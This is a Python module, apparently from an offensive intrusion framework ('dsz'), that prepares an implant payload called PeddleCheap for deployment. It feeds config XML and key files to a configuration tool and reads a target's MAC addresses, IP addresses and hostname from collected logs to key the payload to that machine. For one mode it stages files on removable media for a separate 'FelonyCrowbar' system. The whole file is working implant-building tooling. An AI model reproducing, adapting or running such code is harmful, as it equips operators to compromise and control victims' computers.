317 lines
9.7 KiB
Python
317 lines
9.7 KiB
Python
|
|
# package pc2_2.payload.exe
|
|
import dsz
|
|
import dsz.lp
|
|
import dsz.version
|
|
import pc2_2.payload.settings
|
|
|
|
import glob
|
|
import os
|
|
import os.path
|
|
import re
|
|
import shutil
|
|
import xml.dom.minidom
|
|
|
|
#-----------------------------------------------------------------------------------------
|
|
def ConfigBinary(path, file, keyLocation, extraInfo, type):
|
|
|
|
if ((type.lower() == "level3") or pc2_2.payload.settings.CheckConfigLocal()):
|
|
return _configureLocal(path, file, keyLocation, extraInfo)
|
|
elif (type.lower() == "level4"):
|
|
return _configureWithFC(path, file, keyLocation, extraInfo)
|
|
else:
|
|
# what?
|
|
return ""
|
|
|
|
#----------------------------------------------------------------------------
|
|
def Finalize(payloadFile):
|
|
return pc2_2.payload.settings.Finalize(payloadFile)
|
|
|
|
#-----------------------------------------------------------------------------------------
|
|
def _configureLocal(path, file, keyLocation, extraInfo):
|
|
|
|
toolLoc = dsz.lp.GetResourcesDirectory()
|
|
ver = dsz.version.Info(dsz.script.Env["local_address"])
|
|
toolLoc = toolLoc + "/Pc2.2/Tools/%s-%s/PCConfig.exe" % (ver.compiledArch, ver.os)
|
|
|
|
# configure the payload
|
|
args = "-set -configfile \\\"%s/config.xml\\\"" % path
|
|
args = args + " -input \\\"%s/%s.base\\\" -output \\\"%s/%s.configured\\\"" % (path, file, path, file)
|
|
args = args + " -keys \\\"%s\\\"" % keyLocation
|
|
if (not _runTool(toolLoc, args)):
|
|
dsz.ui.Echo("* Failed to configure binary", dsz.ERROR)
|
|
return ""
|
|
|
|
if (len(glob.glob("%s/%s.configured" % (path, file))) == 0):
|
|
dsz.ui.Echo("* Failed to find configured binary", dsz.ERROR)
|
|
return ""
|
|
|
|
# get the final configuration
|
|
args = "-display -configfile \\\"%s/config.final.xml\\\" -input \\\"%s/%s.configured\\\"" % (path, path, file)
|
|
if (not _runTool(toolLoc, args)):
|
|
# Not a fatal error, but we should report it
|
|
dsz.ui.Echo("* Failed to query final payload configuration", dsz.WARNING)
|
|
|
|
return "%s/%s.configured" % (path, file)
|
|
|
|
#-----------------------------------------------------------------------------------------
|
|
def _configureWithFC(path, file, keyLocation, extraInfo):
|
|
|
|
toolLoc = dsz.lp.GetResourcesDirectory()
|
|
|
|
# get additional host information
|
|
_getHostInformation(extraInfo)
|
|
|
|
# Store the current version PeddleCheap
|
|
version=""
|
|
try:
|
|
dom1 = xml.dom.minidom.parse("%s/Pc2.2/Version.xml" % toolLoc)
|
|
element = dom1.getElementsByTagName("Version")
|
|
|
|
major = element[0].getAttribute("major")
|
|
minor = element[0].getAttribute("minor")
|
|
fix = element[0].getAttribute("fix")
|
|
build = element[0].getAttribute("build")
|
|
|
|
version = "%s.%s.%s.%s" % (major, minor, fix, build)
|
|
except:
|
|
dsz.ui.Echo("* Failed to get PC version", dsz.ERROR)
|
|
return ""
|
|
|
|
dsz.ui.Echo("The files need to be saved for transport to a machine with access")
|
|
dsz.ui.Echo("to FelonyCrowbar. This requires some form of removable media")
|
|
|
|
defaultDest = _getDefaultPath()
|
|
dest = dsz.ui.GetString("Please provide a path:", _getDefaultPath())
|
|
dsz.env.Set(_getDestinationDir(), dest, 0, "")
|
|
|
|
dest = os.path.normpath("%s/payload" % dest)
|
|
if (len(glob.glob(dest)) > 0):
|
|
dsz.ui.Echo("%s already exists! You may have already configured a payload!" % dest, dsz.ERROR)
|
|
return ""
|
|
|
|
# create the directories
|
|
try:
|
|
os.mkdir(dest)
|
|
except:
|
|
pass
|
|
try:
|
|
os.mkdir("%s/lib" % dest)
|
|
except:
|
|
pass
|
|
try:
|
|
os.mkdir("%s/data" % dest)
|
|
except:
|
|
pass
|
|
|
|
# where are the source files?
|
|
sourceDir = "%s/Pc2.2/Tools" % toolLoc
|
|
|
|
# copy over all the files
|
|
if ((not _copyFiles("%s/java-j2se_1.5/" % sourceDir, "%s" % dest, "PcRemoteConfiguration.jar")) or
|
|
(not _copyFiles("%s/java-j2se_1.5/" % sourceDir, "%s" % dest, "PcRemoteConfiguration.pl")) or
|
|
(not _copyFiles("%s/java-j2se_1.5/lib" % sourceDir, "%s/lib" % dest, "*.jar")) or
|
|
(not _copyFiles("%s/java-j2se_1.5/data" % sourceDir, "%s/data" % dest, "*.properties")) or
|
|
(not _copyFiles(keyLocation, "%s/data" % dest, "*.bin")) or
|
|
(not _copyFiles(path, "%s/data" % dest, "config.xml"))):
|
|
dsz.ui.Echo("* Failed to copy files to removable media", dsz.ERROR)
|
|
return ""
|
|
|
|
# output name
|
|
execProperties = os.path.normpath("%s/data/exec.properties" % dest)
|
|
try:
|
|
os.remove(execProperties)
|
|
except:
|
|
pass
|
|
|
|
mount = re.sub("\\\\", "/", dest)
|
|
|
|
lines = list()
|
|
lines.append("output:%s.configured\n" % file)
|
|
lines.append("mount:%s\n" % mount)
|
|
lines.append("version:%s\n" % version)
|
|
lines.append("inXml:config.xml\n")
|
|
lines.append("outXml:config.final.xml\n")
|
|
lines.append("configName:%s\n" % extraInfo["Fc_Name"][0])
|
|
lines.append("osFamily:%s\n" % extraInfo["Fc_OsFamily"][0])
|
|
lines.append("osArchitecture:%s\n" % extraInfo["Fc_Architecture"][0])
|
|
lines.append("fc_response:FelonyCrowbar.xml\n")
|
|
|
|
if (extraInfo.has_key("hostname")):
|
|
lines.append("hostname:%s\n" % extraInfo["hostname"][0])
|
|
|
|
if (extraInfo.has_key("mac")):
|
|
line=""
|
|
for item in extraInfo["mac"]:
|
|
if (len(line) == 0):
|
|
line = item
|
|
else:
|
|
line = line + (",%s" % item)
|
|
lines.append("mac:%s\n" % line)
|
|
|
|
if (extraInfo.has_key("ip")):
|
|
line=""
|
|
for item in extraInfo["ip"]:
|
|
if (len(line) == 0):
|
|
line = item
|
|
else:
|
|
line = line + (",%s" % item)
|
|
lines.append("ip:%s\n" % line)
|
|
|
|
# TODO any other immediate configurations
|
|
|
|
try:
|
|
f = open(execProperties, "w")
|
|
try:
|
|
f.writelines(lines)
|
|
finally:
|
|
f.close()
|
|
except:
|
|
dsz.ui.Echo("* Failed to write %s" % execProperties, dsz.ERROR)
|
|
return ""
|
|
|
|
# remove a previous instance of the configured output
|
|
configured = os.path.normpath("%s/data/%s.configured" % (dest, file))
|
|
try:
|
|
os.remove(configured)
|
|
except:
|
|
pass
|
|
|
|
payloadInfo = os.path.normpath("%s/data/config.final.xml" % dest)
|
|
try:
|
|
os.remove(payloadInfo)
|
|
except:
|
|
pass
|
|
|
|
# copy over PCConfig.exe....
|
|
|
|
dsz.ui.Echo("Removable media has been configured.", dsz.GOOD)
|
|
dsz.ui.Echo("")
|
|
dsz.ui.Echo("Please take the removable media to a machine with access to")
|
|
dsz.ui.Echo("FelonyCrowbar and execute")
|
|
dsz.ui.Echo("\t%s/PcRemoteConfiguration.pl" % dest)
|
|
dsz.ui.Echo("\t\tCommandLine: java -jar PcRemoteConfiguration.jar")
|
|
dsz.ui.Echo("\t\t\tfrom the directory")
|
|
dsz.ui.Echo("\t\tor Double-click on windows (and maybe linux)")
|
|
dsz.ui.Echo("Afterwards, please restore the removable media at the same location")
|
|
|
|
while (not(dsz.ui.Prompt("Have you executed the file?") and
|
|
os.path.exists(configured) and
|
|
os.path.exists(payloadInfo))):
|
|
dsz.ui.Echo("The configured files are not at:", dsz.WARNING)
|
|
dsz.ui.Echo("\t%s" % configured, dsz.WARNING)
|
|
dsz.ui.Echo("\t%s" % payloadInfo, dsz.WARNING)
|
|
if (dsz.ui.Prompt("Would you like to abort?", False)):
|
|
dsz.ui.Echo("Configuration cancelled", dsz.ERROR)
|
|
return ""
|
|
|
|
# save final configuration file
|
|
finalFile = os.path.normpath("%s/%s.configured" % (path, file))
|
|
|
|
try:
|
|
shutil.copy(configured, finalFile)
|
|
shutil.copy(payloadInfo, "%s/config.final.xml" % path)
|
|
|
|
# copy the FC database information (if found)
|
|
fcXml = os.path.normpath("%s/data/fc.xml" % dest)
|
|
if (os.path.exists(fcXml)):
|
|
shutil.copy(fcXml, "%s/fc.xml" % path)
|
|
|
|
shutil.move(dest, "%s_%s" % (dest, dsz.Timestamp()))
|
|
except:
|
|
dsz.ui.Echo("* Failed to copy configured files", dsz.ERROR)
|
|
return ""
|
|
|
|
return finalFile
|
|
|
|
#-----------------------------------------------------------------------------------------
|
|
def _copyFiles(sourceDir, destDir, mask):
|
|
|
|
sourceDir = os.path.normpath(sourceDir)
|
|
|
|
files = glob.glob("%s/%s" % (sourceDir, mask))
|
|
if (len(files) == 0):
|
|
return False
|
|
|
|
for file in files:
|
|
(d, f) = dsz.path.Split(file)
|
|
try:
|
|
shutil.copy("%s/%s" % (sourceDir, f), "%s/%s" % (destDir, f))
|
|
except:
|
|
return False
|
|
|
|
return True
|
|
|
|
#-----------------------------------------------------------------------------------------
|
|
def _getDefaultPath():
|
|
if (dsz.env.Check(_getDestinationDir(), 0, "")):
|
|
return dsz.env.Get(_getDestinationDir(), 0, "")
|
|
else:
|
|
return ""
|
|
|
|
#-----------------------------------------------------------------------------------------
|
|
def _getDestinationDir():
|
|
return "_pc_FelonyCrowbar_Dir"
|
|
|
|
#-----------------------------------------------------------------------------------------
|
|
def _getHostInformation(extraInfo):
|
|
|
|
files = list()
|
|
while (len(files) == 0):
|
|
files = glob.glob("%s/hostinfo_*.txt" % dsz.lp.GetLogsDirectory())
|
|
if (len(files) == 0):
|
|
dsz.ui.Echo("* Failed to get host information", dsz.ERROR)
|
|
if (not dsz.ui.Prompt("Try again?")):
|
|
return False
|
|
|
|
try:
|
|
f = open(files[len(files)-1], "r")
|
|
try:
|
|
lines = f.readlines()
|
|
finally:
|
|
f.close()
|
|
except:
|
|
dsz.ui.Echo("* Failed to read %s" % files[len(files)-1], dsz.ERROR)
|
|
return False
|
|
|
|
for line in lines:
|
|
# check for MAC
|
|
match = re.match("MAC=(.*)", line)
|
|
if (match != None):
|
|
#dsz.ui.Echo("MAC = '%s'" % match.group(1))
|
|
if (not extraInfo.has_key("mac")):
|
|
extraInfo["mac"] = list()
|
|
extraInfo["mac"].append(match.group(1))
|
|
|
|
else:
|
|
# check for IP
|
|
match = re.match("ip=(.*)", line)
|
|
if (match != None):
|
|
#dsz.ui.Echo("IP = '%s'" % match.group(1))
|
|
if (not extraInfo.has_key("ip")):
|
|
extraInfo["ip"] = list()
|
|
extraInfo["ip"].append(match.group(1))
|
|
|
|
else:
|
|
# check for HOSTNAME
|
|
match = re.match("hostname=(.*)", line)
|
|
if (match != None):
|
|
#dsz.ui.Echo("host = '%s'" % match.group(1))
|
|
if (not extraInfo.has_key("hostname")):
|
|
extraInfo["hostname"] = list()
|
|
extraInfo["hostname"].append(match.group(1))
|
|
|
|
return True
|
|
|
|
#------------------------------------------------------------------------------------
|
|
def _runTool(toolLoc, args):
|
|
|
|
# record current flags and turn echo'ing off
|
|
x = dsz.control.Method()
|
|
dsz.control.echo.Off()
|
|
|
|
if (dsz.version.checks.IsWindows(dsz.script.Env["local_address"])):
|
|
return dsz.cmd.Run("local run -command \"%s %s\" -redirect -noinput" % (toolLoc, args))
|
|
else:
|
|
# the unix version of run cannot currently handle spaces in commands
|
|
return dsz.cmd.Run("local run -command \"/bin/sh -i\" -redirect \"%s %s; exit\" -noinput" % (toolLoc, args))
|